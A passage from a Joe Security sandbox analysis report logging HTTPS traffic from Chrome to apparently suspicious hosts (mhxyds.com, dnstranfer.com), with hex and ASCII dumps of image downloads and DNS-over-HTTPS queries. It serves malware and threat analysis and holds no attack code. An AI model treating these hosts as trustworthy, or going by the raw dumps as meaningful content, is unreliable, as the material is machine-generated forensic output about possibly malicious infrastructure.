b4 ba ef e1 e1 e7 1c 29 ea 71 5e e7 2d 3b ed 4a 29 e6 5b 
Data Ascii: GIF89aBZ\)'"*CVlt:)#*,*("**,)]]2&);C)]^,&!%6aPB&dq2%l{u[,S03@t{`HCC9%SXtdf6RYs+-)q^-;J)[
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2022-08-11 03:43:04 UTC 13178 IN Data Raw: 6b b5 d8 82 36 00 c2 20 14 03 23 a8 e0 62 5a 08 12 22 8d 39 e0 43 08 62 c1 86 39 43 5d dd 6c 2b 24 01 2c 
d8 5c c2 51 43 52 2d e6 1e bc 82 36 80 a7 35 28 ff 02 cc 70 82 37 c0 82 f0 d5 60 22 08 41 12 a8 16 0e c1 a8 39 e8 48 42 
10 cc 04 4d 22 27 d4 01 20 b0 83 24 04 9b 0b 5d e8 21 08 c3 3d f4 2b 1c 7c de 35 cc 69 ed e6 11 16 24 83 34 40 03 2d 
24 03 25 48 a9 25 5c 0f 92 74 26 65 0d 43 3d b8 c3 2f 68 03 22 34 5d 39 a1 83 37 58 c3 db 61 d0 c8 76 66 47 20 81 24 7
0 c3 21 6c c1 14 a5 01 32 68 83 b8 9c 8d 8f 92 e9 72 a9 03 20 ec 9b d3 59 c2 0c 52 f2 11 00 df 25 d5 03 3e 98 43 2f 28 0
1 20 74 83 1f 60 a8 b5 ad 01 17 ac 16 87 9d 43 39 b4 43 31 f4 81 27 74 c3 db 49 1b 12 34 c3 2f 50 69 ee ec c7 35 c0 82 3
9 75 c2 17 00 82 39 70 66 48 28 01 31 61 81 8e aa 81 bb 6c 19 33 
Data Ascii: k6 #bZ"9Cb9C]l+$,\QCR-65(p7`"A9HBM"' $]!=+|5i$4@-$%H%\t&eC=/h"4]97XavfG $p!l2hr YR%>C/( t`C9C1'tI4
/Pi59u9pfH(1al3

2022-08-11 03:43:04 UTC 13194 IN Data Raw: df 30 7a e0 2f 1b bc e0 10 10 d8 dc 42 7e ff 3d 4a d9 32 61 17 c8 70 c5 15 2e a0 8a 3e 10 c2 15 4c e8 81 8d f9 
10 08 0a 80 54 c9 df 35 43 15 ce 98 8c 54 dd 01 19 68 c8 48 04 2e 8a 08 3e 10 40 0c a9 98 42 0f 02 e1 83 79 5e 21 15 
d9 30 06 07 0a d0 83 54 04 c2 06 09 a8 82 2a 20 10 8c 91 fe 22 01 a9 88 02 00 39 40 08 09 04 82 0f 4a bb 42 1f d4 c1 0b 
16 2c e3 02 81 70 41 11 84 a1 0d 37 29 82 59 f3 68 84 2a d8 90 dc 70 88 26 02 c8 f5 39 73 69 4c 63 e7 0a 5d e8 bc 01 
97 d0 9d 4b 74 24 7c cb b9 47 df 4d 04 b8 eb 94 07 64 81 21 7e cc 4e bd b2 a3 75 ac 33 e4 8e 13 f1 fa 42 e8 8b f5 79 e1 
71 1e d5 30 82 2d ac e8 97 79 80 eb 2d 5b 48 95 32 2b 32 8f 26 c5 23 0f 42 43 46 15 fa 9a 00 5a a4 2a 3f b6 f8 ea 14 b6 
e0 07 74 64 58 09 84 20 c4 01 7e 51 08 4b 1c e2 10 09 fc 85 
Data Ascii: 0z/B~=J2ap.>LT5CThH.>@By^!0T* "9@JB,pA7)Yh*p&9siLc]Kt$|GMd!~Nu3Byq0-y-[H2+2&#BCFZ*?tdX ~QK

Timestamp
kBytes
transferred

Direction Data

Session ID Source IP Source Port Destination IP
Destination
Port

Process

246 192.168.11.20 56006 118.27.105.118 443 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data

2022-08-11 03:43:04 UTC 13129 OUT GET /jpg/perpetual-knowledge-bank-series-reporting-season-746x4190ae6.jpg?mw=285&hash=CC9B6A2517D651
7FA98B06A38A407613637A6C0F HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.
183 Safari/537.36
Host: mhxyds.com
If-Modified-Since: Thu, 17 Sep 2020 14:28:00 GMT
If-None-Match: "5f637270-5065"

Session ID Source IP Source Port Destination IP
Destination
Port

Process

247 192.168.11.20 56007 118.27.105.118 443 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data

2022-08-11 03:43:05 UTC 13199 OUT GET /jpg/vince-pezzulo-know-746x419-1bc7b.jpg?mw=285&hash=4367719F71F1327D4D3A17742A8CB2EAE99B6676 
HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.
183 Safari/537.36
Host: mhxyds.com
If-Modified-Since: Mon, 06 Jul 2020 10:39:38 GMT
If-None-Match: "5f02ff6a-3a9d"

Session ID Source IP Source Port Destination IP
Destination
Port

Process

248 118.27.105.118 443 192.168.11.20 56006 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data

2022-08-11 03:43:05 UTC 13247 IN HTTP/1.1 304 Not Modified
Server: nginx
Date: Thu, 11 Aug 2022 03:43:05 GMT
Last-Modified: Thu, 17 Sep 2020 14:28:00 GMT
Connection: close
ETag: "5f637270-5065"
Expires: Sat, 10 Sep 2022 03:43:05 GMT
Cache-Control: max-age=2592000
Strict-Transport-Security: max-age=31536000

Session ID Source IP Source Port Destination IP
Destination
Port

Process

249 192.168.11.20 56008 47.243.100.207 443 C:\Program Files\Google\Chrome\Application\chrome.exe
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Timestamp
kBytes
transferred

Direction Data

2022-08-11 03:43:05 UTC 13279 OUT GET /lipgupiao/assets/images/bg-01.jpg HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.
183 Safari/537.36
Host: dnstranfer.com

Session ID Source IP Source Port Destination IP
Destination
Port

Process

25 192.168.11.20 50081 172.64.145.85 443 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data

2022-08-11 03:42:41 UTC 360 OUT POST /dns-query HTTP/1.1
Host: chrome.cloudflare-dns.com
Connection: keep-alive
Content-Length: 128
Accept: application/dns-message
Accept-Language: *
User-Agent: Chrome
Accept-Encoding: identity
Content-Type: application/dns-message

2022-08-11 03:42:41 UTC 360 OUT Data Raw: 00 00 01 00 00 01 00 00 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 00 00 
29 10 00 00 00 00 00 00 54 00 0c 00 50 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
Data Ascii: wwwgstaticcom)TP

Session ID Source IP Source Port Destination IP
Destination
Port

Process

250 118.27.105.118 443 192.168.11.20 56007 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data

2022-08-11 03:43:05 UTC 13279 IN HTTP/1.1 304 Not Modified
Server: nginx
Date: Thu, 11 Aug 2022 03:43:05 GMT
Last-Modified: Mon, 06 Jul 2020 10:39:38 GMT
Connection: close
ETag: "5f02ff6a-3a9d"
Expires: Sat, 10 Sep 2022 03:43:05 GMT
Cache-Control: max-age=2592000
Strict-Transport-Security: max-age=31536000

Session ID Source IP Source Port Destination IP
Destination
Port

Process

251 192.168.11.20 63525 118.27.105.118 443 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data

2022-08-11 03:43:05 UTC 13279 OUT GET /jpg/hero%20peicc2c4.jpg?mw=285&hash=3E47FCE246A72FBA35DB1562D6F9DD053E0F5355 HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.
183 Safari/537.36
Host: mhxyds.com
If-Modified-Since: Wed, 23 Jan 2019 08:50:08 GMT
If-None-Match: "5c482ac0-61ce"

Session ID Source IP Source Port Destination IP
Destination
Port

Process

252 192.168.11.20 63526 47.243.100.207 443 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data

2022-08-11 03:43:05 UTC 13280 OUT GET /lipgupiao/assets/images/pay1.png HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.
183 Safari/537.36
Host: dnstranfer.com
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Session ID Source IP Source Port Destination IP
Destination
Port

Process

253 47.243.100.207 443 192.168.11.20 56008 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data

2022-08-11 03:43:06 UTC 13280 IN HTTP/1.1 200 OK
cache-control: public, max-age=43200
expires: Thu, 11 Aug 2022 15:43:05 GMT
etag: "1536a-62f0de0d-202f0e;;;"
last-modified: Mon, 08 Aug 2022 09:57:33 GMT
content-type: image/jpeg
content-length: 86890
accept-ranges: bytes
date: Thu, 11 Aug 2022 03:43:05 GMT
server: LiteSpeed
alt-svc: h3=":443"; ma=2592000, h3-29=":443"; ma=2592000, h3-Q050=":443"; ma=2592000, h3-Q046=":443"; ma=25920
00, h3-Q043=":443"; ma=2592000, quic=":443"; ma=2592000; v="43,46"
connection: close

2022-08-11 03:43:06 UTC 13281 IN Data Raw: ff d8 ff e1 0f 1c 45 78 69 66 00 00 4d 4d 00 2a 00 00 00 08 00 0c 01 00 00 03 00 00 00 01 02 ee 00 00 01 01 
00 03 00 00 00 01 04 82 00 00 01 02 00 03 00 00 00 03 00 00 00 9e 01 06 00 03 00 00 00 01 00 02 00 00 01 12 00 03 00 
00 00 01 00 01 00 00 01 15 00 03 00 00 00 01 00 03 00 00 01 1a 00 05 00 00 00 01 00 00 00 a4 01 1b 00 05 00 00 00 01 
00 00 00 ac 01 28 00 03 00 00 00 01 00 02 00 00 01 31 00 02 00 00 00 1e 00 00 00 b4 01 32 00 02 00 00 00 14 00 00 00 
d2 87 69 00 04 00 00 00 01 00 00 00 e8 00 00 01 20 00 08 00 08 00 08 00 0a fc 80 00 00 27 10 00 0a fc 80 00 00 27 10 
41 64 6f 62 65 20 50 68 6f 74 6f 73 68 6f 70 20 43 53 36 20 28 57 69 6e 64 6f 77 73 29 00 32 30 32 32 3a 30 38 3a 30 38 
20 31 37 3a 35 37 3a 30 37 00 00 00 00 04 90 00 00 07 00 00 00 04 30 
Data Ascii: ExifMM*(12i ''Adobe Photoshop CS6 (Windows)2022:08:08 17:57:070

2022-08-11 03:43:06 UTC 13297 IN Data Raw: 7b 06 8c 06 9d 06 af 06 c0 06 d1 06 e3 06 f5 07 07 07 19 07 2b 07 3d 07 4f 07 61 07 74 07 86 07 99 07 ac 07 
bf 07 d2 07 e5 07 f8 08 0b 08 1f 08 32 08 46 08 5a 08 6e 08 82 08 96 08 aa 08 be 08 d2 08 e7 08 fb 09 10 09 25 09 3a 09 
4f 09 64 09 79 09 8f 09 a4 09 ba 09 cf 09 e5 09 fb 0a 11 0a 27 0a 3d 0a 54 0a 6a 0a 81 0a 98 0a ae 0a c5 0a dc 0a f3 0b 
0b 0b 22 0b 39 0b 51 0b 69 0b 80 0b 98 0b b0 0b c8 0b e1 0b f9 0c 12 0c 2a 0c 43 0c 5c 0c 75 0c 8e 0c a7 0c c0 0c d9 0c 
f3 0d 0d 0d 26 0d 40 0d 5a 0d 74 0d 8e 0d a9 0d c3 0d de 0d f8 0e 13 0e 2e 0e 49 0e 64 0e 7f 0e 9b 0e b6 0e d2 0e ee 0f 
09 0f 25 0f 41 0f 5e 0f 7a 0f 96 0f b3 0f cf 0f ec 10 09 10 26 10 43 10 61 10 7e 10 9b 10 b9 10 d7 10 f5 11 13 11 31 11 4f 
11 6d 11 8c 11 aa 11 c9 11 e8 12 07 12 26 12 45 12 64 
Data Ascii: {+=Oat2FZn%:Ody'=Tj"9Qi*C\u&@Zt.Id%A^z&Ca~1Om&Ed

2022-08-11 03:43:06 UTC 13323 IN Data Raw: 70 ea 31 4b 78 15 76 2a de 2a de 2a d8 c5 57 0c 55 b1 8a bb 02 5b c5 2d 8c 55 76 2a d8 c5 5b c5 2d e2 86 c6 
29 6c 60 43 78 52 de 2a ec 0a de 2a b9 46 2a de 29 6c 62 a8 bb 1b 33 31 f5 24 14 88 74 ff 00 2b 02 40 4d 45 29 41 d0 
74 18 19 3b 02 5d 8a bb 15 53 b8 b8 48 12 a7 76 3f 65 70 a9 29 5b 3b bb 17 73 56 3d f1 60 d6 05 6f 15 76 2a ec 55 bc 2a 
de 2a de 2a d8 18 ab b1 4b b1 42 53 e6 bd 7e 3f 2f f9 7e ef 55 6a 19 22 5e 16 c8 7f 6a 56 d9 46 55 97 27 04 49 73 7b 3b 
44 75 39 e3 8b a4 be bf ea 3e 6c bc bd 91 9e 5b db c9 0c 93 cc c6 49 5c f5 67 6d f3 4b b9 2f ab fa 31 c4 00 2a 31 f4 c6 29 
6d aa b5 dd c9 9a 5f b1 1e e1 7b 57 b0 c9 9d 83 8b 8a f2 4f 88 f4 4c b2 b7 39 b1 d7 15 09 7d b5 d1 4b a9 61 90 fc 2c df 
09 3d 8e 4c c7 6b 71 31 e5 a9 98 94 7e 41 cb 76 2a ec 55 
Data Ascii: p1Kxv***WU[-Uv*[-)l`CxR**F*)lb31$t+@ME)At;]SHv?ep)[;sV=`ov*U***KBS~?/~Uj"^jVFU'Is{;Du9>l[I\gmK/1*1
)m_{WOL9}Ka,=Lkq1~Av*U

2022-08-11 03:43:06 UTC 13339 IN Data Raw: fb 5f 23 f9 9b cc 3a 2d e5 fe 97 08 68 6d d4 fa 41 8f 13 3b 83 f1 24 5f cc 40 ff 00 86 f8 33 5f a9 ed 7d 3e 9b 2c 
61 90 fa a5 ff 00 4a ff 00 a5 3f c7 f4 9d 3f 68 6b 22 3d 23 9b d6 bf 2c a7 f2 c4 de 54 86 2f 2f ab 42 90 12 97 b6 f3 7f bd 11 
dc f4 93 d7 1b 7c 75 1f ea f1 fb 39 c2 f6 dc 73 8d 41 39 bd 5c 5f 44 a3 fd dc b1 7f 0f 87 fd 17 40 25 7b ad f2 72 f9 f2 3b bd 
56 d7 cc e2 09 ad e2 9c b6 9f 7f 15 13 d4 47 f8 b8 88 c5 78 a2 02 00 e6 79 af d8 fd e7 db c3 da 27 48 63 09 60 e2 8c 8c 
7f 79 8e 5f c3 fe 77 f3 a5 f8 e1 4c 49 44 f9 c5 bc c7 0e 81 75 2f 97 23 8e 4d 51 00 68 92 41 5a a8 35 6e 03 a3 49 4f b0 1b 
2a ec e1 80 e6 88 ce 48 c7 e5 f8 fa 5b 2c f4 43 d8 f3 d6 fc ad 1b eb f6 02 d5 ae e0 ad ed 9c b4 21 45 3a 9a fd 9f e7 df e2 
4f f5 b2 dc 9f b8 d4 11 86 5c 7c 
Data Ascii: _#:-hmA;$_@3_}>,aJ??hk"=#,T//B|u9sA9\_D@%{r;VGxy'Hc`y_wLIDu/#MQhAZ5nIO*H[,C!E:O\|

2022-08-11 03:43:06 UTC 13355 IN Data Raw: df d3 f9 8e 2d fa 7d 3c b2 ca 83 cb b5 3d 4e ef 52 bb 7b ab 96 e4 ed b0 51 f6 55 7b 2a 8f 0c 2f 4d 87 0c 71 c7 
86 28 4c 5b 5d 8a bb 15 67 3e 40 f2 39 d4 24 5d 4f 54 86 ba 7a 8a db c2 fb 7a af fc c4 77 45 ff 00 89 66 7e 97 4d c5 ea 
90 f4 bc 9f b4 1d b9 e1 0f 0b 0c bf 7b fe 52 5f cc 8f f3 7f ae f5 65 55 55 0a a0 05 02 80 0d 80 03 36 6f 00 4d b7 85 5d 8a 
bb 15 76 2a ec 55 d8 ab b1 57 62 ae c5 5d 8a bb 15 76 2a ec 55 d8 ab b1 57 62 ae c5 5d 8a bb 15 76 2a ec 55 d8 ab b1 
57 62 ae c5 5d 8a bb 15 76 2a ec 55 d8 ab 44 62 ae c5 5d 8a a1 2e 25 e4 78 8f b2 3f 13 92 01 81 2a 58 50 ec 55 ff d3 ee 
19 6b 8e ec 55 d8 ab b1 57 62 ae c5 51 16 36 52 de 4e 23 4d 87 57 7e c0 60 25 20 5b 2d b6 b6 8a de 15 8a 21 45 5f bc 
9f 13 95 96 e0 29 53 14 bb 15 76 2a ec 55 d8 ab b1 57 62 
Data Ascii: -}<=NR{QU{*/Mq(L[]g>@9$]OTzzwEf~M{R_eUU6oM]v*UWb]v*UWb]v*UWb]v*UDb].%x?*XPUkUW
bQ6RN#MW~`% [-!E_)Sv*UWb

2022-08-11 03:43:06 UTC 13371 IN Data Raw: ae c5 5d 8a bb 15 76 2a ec 55 d8 ab b1 57 62 ae c5 5d 8a bb 15 76 2a ec 55 d8 ab b1 57 62 ae c5 5d 8a bb 
15 76 2a ec 55 d8 ab b1 57 62 ae c5 5d 8a bb 15 76 2a ec 55 d8 ab b1 57 62 ae c5 5d 8a bb 15 76 2a ec 55 d8 ab b1 57 
62 ae c5 5d 8a bb 15 76 2a ec 55 d8 ab b1 57 62 ae c5 5d 8a bb 15 76 2a ec 55 d8 ab b1 57 62 ae c5 5f ff d5 f5 4e 2a ec 
55 d8 ab b1 57 62 ae c5 5d 8a bb 15 76 2a ec 55 d8 ab b1 57 62 ae c5 5d 8a bb 15 76 2a ec 55 d8 ab b1 57 62 ae c5 5d 
8a bb 15 76 2a ec 55 d8 ab b1 57 62 ae c5 5d 8a bb 15 76 2a ec 55 d8 ab b1 57 62 ae c5 5d 8a bb 15 76 2a ec 55 d8 ab 
b1 57 62 ae c5 5d 8a bb 15 76 2a ec 55 d8 ab b1 57 62 ae c5 5d 8a bb 15 76 2a ec 55 d8 ab b1 57 62 ae c5 5d 8a bb 15 
76 2a ec 55 d8 ab b1 57 62 ae c5 5d 8a bb 15 76 2a ec 55 d8 ab b1 57 62 
Data Ascii: ]v*UWb]v*UWb]v*UWb]v*UWb]v*UWb]v*UWb]v*UWb_N*UWb]v*UWb]v*UWb]v*UWb]v*UWb]v*UWb
]v*UWb]v*UWb]v*UWb]v*UWb

Session ID Source IP Source Port Destination IP
Destination
Port

Process

254 192.168.11.20 53931 118.27.105.118 443 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data
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2022-08-11 03:43:06 UTC 13280 OUT GET /img/logo-footer.svg HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.
183 Safari/537.36
Host: mhxyds.com

Timestamp
kBytes
transferred

Direction Data

Session ID Source IP Source Port Destination IP
Destination
Port

Process

255 118.27.105.118 443 192.168.11.20 63525 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data

2022-08-11 03:43:06 UTC 13313 IN HTTP/1.1 304 Not Modified
Server: nginx
Date: Thu, 11 Aug 2022 03:43:06 GMT
Last-Modified: Wed, 23 Jan 2019 08:50:08 GMT
Connection: close
ETag: "5c482ac0-61ce"
Expires: Sat, 10 Sep 2022 03:43:06 GMT
Cache-Control: max-age=2592000
Strict-Transport-Security: max-age=31536000

Session ID Source IP Source Port Destination IP
Destination
Port

Process

256 47.243.100.207 443 192.168.11.20 63526 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data

2022-08-11 03:43:06 UTC 13313 IN HTTP/1.1 200 OK
cache-control: public, max-age=43200
expires: Thu, 11 Aug 2022 15:43:06 GMT
etag: "2476-62d8e1a6-202eed;;;"
last-modified: Thu, 21 Jul 2022 05:18:30 GMT
content-type: image/png
content-length: 9334
accept-ranges: bytes
date: Thu, 11 Aug 2022 03:43:06 GMT
server: LiteSpeed
alt-svc: h3=":443"; ma=2592000, h3-29=":443"; ma=2592000, h3-Q050=":443"; ma=2592000, h3-Q046=":443"; ma=25920
00, h3-Q043=":443"; ma=2592000, quic=":443"; ma=2592000; v="43,46"
connection: close

2022-08-11 03:43:06 UTC 13313 IN Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 02 c6 00 00 00 5c 08 03 00 00 00 5a d4 83 8b 00 00 
00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 02 8b 50 4c 54 45 47 70 4c 46 
52 77 44 4f 75 43 4f 73 4b 57 7d 43 50 73 44 4f 73 77 96 ad 43 4f 73 43 4f 74 43 50 74 44 4f 74 43 50 73 44 50 74 51 63 
89 4a 58 7b 44 50 74 45 50 75 44 4f 76 43 4f 73 44 50 73 28 69 f1 0e 8a ff 46 53 77 29 69 f0 46 51 75 43 50 74 44 50 73 
46 51 74 43 4f 73 29 69 ef 44 4f 74 45 51 74 43 50 75 44 50 73 11 a9 f7 44 50 74 2a ae f2 47 52 75 1e aa f3 1c b1 eb 44 
50 74 26 6d f3 1a a5 f4 44 51 75 1c ac e4 19 a5 e7 14 ad dd 03 93 ff 1e b6 ea ff ab 00 14 a3 e2 02 7c ff 1f b3 e7 06 8f ff ff 
aa 00 ff ac 00 ff 9c 0a ff ab 00 ff 9b 08 03 91 ff ff ab 
Data Ascii: PNGIHDR\ZgAMAasRGBPLTEGpLFRwDOuCOsKW}CPsDOswCOsCOtCPtDOtCPsDPtQcJX{DPtEPuDOvCO
sDPs(iFSw)iFQuCPtDPsFQtCOs)iDOtEQtCPuDPsDPt*GRuDPt&mDQu|

Session ID Source IP Source Port Destination IP
Destination
Port

Process

257 118.27.105.118 443 192.168.11.20 53931 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data

2022-08-11 03:43:06 UTC 13375 IN HTTP/1.1 404 Not Found
Server: nginx
Date: Thu, 11 Aug 2022 03:43:06 GMT
Content-Type: text/html
Content-Length: 548
Connection: close
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2022-08-11 03:43:06 UTC 13376 IN Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 
74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 
4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 
6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 
64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 
6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 7
3 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 
Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><c
enter>nginx</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to 
disable MSIE and Chrome 

Timestamp
kBytes
transferred

Direction Data

Session ID Source IP Source Port Destination IP
Destination
Port

Process

258 192.168.11.20 51577 47.243.100.207 443 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data

2022-08-11 03:43:07 UTC 13376 OUT GET /lipgupiao/assets/images/left.png HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.
183 Safari/537.36
Host: dnstranfer.com

Session ID Source IP Source Port Destination IP
Destination
Port

Process

259 192.168.11.20 51578 47.243.100.207 443 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data

2022-08-11 03:43:07 UTC 13376 OUT GET /lipgupiao/assets/images/right.png HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.
183 Safari/537.36
Host: dnstranfer.com

Session ID Source IP Source Port Destination IP
Destination
Port

Process

26 192.168.11.20 60426 172.64.145.85 443 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data

2022-08-11 03:42:41 UTC 360 OUT POST /dns-query HTTP/1.1
Host: chrome.cloudflare-dns.com
Connection: keep-alive
Content-Length: 128
Accept: application/dns-message
Accept-Language: *
User-Agent: Chrome
Accept-Encoding: identity
Content-Type: application/dns-message

2022-08-11 03:42:41 UTC 360 OUT Data Raw: 00 00 01 00 00 01 00 00 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 00 00 
29 10 00 00 00 00 00 00 54 00 0c 00 50 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
Data Ascii: wwwgstaticcom)TP

Session ID Source IP Source Port Destination IP
Destination
Port

Process

260 47.243.100.207 443 192.168.11.20 51577 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data

Copyright Joe Security LLC 2022 Page 218 of 310



2022-08-11 03:43:07 UTC 13376 IN HTTP/1.1 200 OK
cache-control: public, max-age=43200
expires: Thu, 11 Aug 2022 15:43:07 GMT
etag: "77e-62d8e1a6-202eef;;;"
last-modified: Thu, 21 Jul 2022 05:18:30 GMT
content-type: image/png
content-length: 1918
accept-ranges: bytes
date: Thu, 11 Aug 2022 03:43:07 GMT
server: LiteSpeed
alt-svc: h3=":443"; ma=2592000, h3-29=":443"; ma=2592000, h3-Q050=":443"; ma=2592000, h3-Q046=":443"; ma=25920
00, h3-Q043=":443"; ma=2592000, quic=":443"; ma=2592000; v="43,46"
connection: close

2022-08-11 03:43:07 UTC 13377 IN Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 5c 00 00 00 0f 08 06 00 00 00 69 f5 a8 01 00 00 00 
19 74 45 58 74 53 6f 66 74 77 61 72 65 00 41 64 6f 62 65 20 49 6d 61 67 65 52 65 61 64 79 71 c9 65 3c 00 00 03 28 69 
54 58 74 58 4d 4c 3a 63 6f 6d 2e 61 64 6f 62 65 2e 78 6d 70 00 00 00 00 00 3c 3f 78 70 61 63 6b 65 74 20 62 65 67 69 
6e 3d 22 ef bb bf 22 20 69 64 3d 22 57 35 4d 30 4d 70 43 65 68 69 48 7a 72 65 53 7a 4e 54 63 7a 6b 63 39 64 22 3f 3e 2
0 3c 78 3a 78 6d 70 6d 65 74 61 20 78 6d 6c 6e 73 3a 78 3d 22 61 64 6f 62 65 3a 6e 73 3a 6d 65 74 61 2f 22 20 78 3a 78 
6d 70 74 6b 3d 22 41 64 6f 62 65 20 58 4d 50 20 43 6f 72 65 20 35 2e 36 2d 63 31 34 35 20 37 39 2e 31 36 33 34 39 39 
2c 20 32 30 31 38 2f 30 38 2f 31 33 2d 31 36 3a 34 30 3a 32 32 20 20 
Data Ascii: PNGIHDR\itEXtSoftwareAdobe ImageReadyqe<(iTXtXML:com.adobe.xmp<?xpacket begin="" id="W5M
0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c145 79.163499, 
2018/08/13-16:40:22  

Timestamp
kBytes
transferred

Direction Data

Session ID Source IP Source Port Destination IP
Destination
Port

Process

261 47.243.100.207 443 192.168.11.20 51578 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data

2022-08-11 03:43:07 UTC 13379 IN HTTP/1.1 200 OK
cache-control: public, max-age=43200
expires: Thu, 11 Aug 2022 15:43:07 GMT
etag: "75d-62d8e1a6-202eee;;;"
last-modified: Thu, 21 Jul 2022 05:18:30 GMT
content-type: image/png
content-length: 1885
accept-ranges: bytes
date: Thu, 11 Aug 2022 03:43:07 GMT
server: LiteSpeed
alt-svc: h3=":443"; ma=2592000, h3-29=":443"; ma=2592000, h3-Q050=":443"; ma=2592000, h3-Q046=":443"; ma=25920
00, h3-Q043=":443"; ma=2592000, quic=":443"; ma=2592000; v="43,46"
connection: close

2022-08-11 03:43:07 UTC 13379 IN Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 5c 00 00 00 0f 08 06 00 00 00 69 f5 a8 01 00 00 00 
19 74 45 58 74 53 6f 66 74 77 61 72 65 00 41 64 6f 62 65 20 49 6d 61 67 65 52 65 61 64 79 71 c9 65 3c 00 00 03 28 69 
54 58 74 58 4d 4c 3a 63 6f 6d 2e 61 64 6f 62 65 2e 78 6d 70 00 00 00 00 00 3c 3f 78 70 61 63 6b 65 74 20 62 65 67 69 
6e 3d 22 ef bb bf 22 20 69 64 3d 22 57 35 4d 30 4d 70 43 65 68 69 48 7a 72 65 53 7a 4e 54 63 7a 6b 63 39 64 22 3f 3e 2
0 3c 78 3a 78 6d 70 6d 65 74 61 20 78 6d 6c 6e 73 3a 78 3d 22 61 64 6f 62 65 3a 6e 73 3a 6d 65 74 61 2f 22 20 78 3a 78 
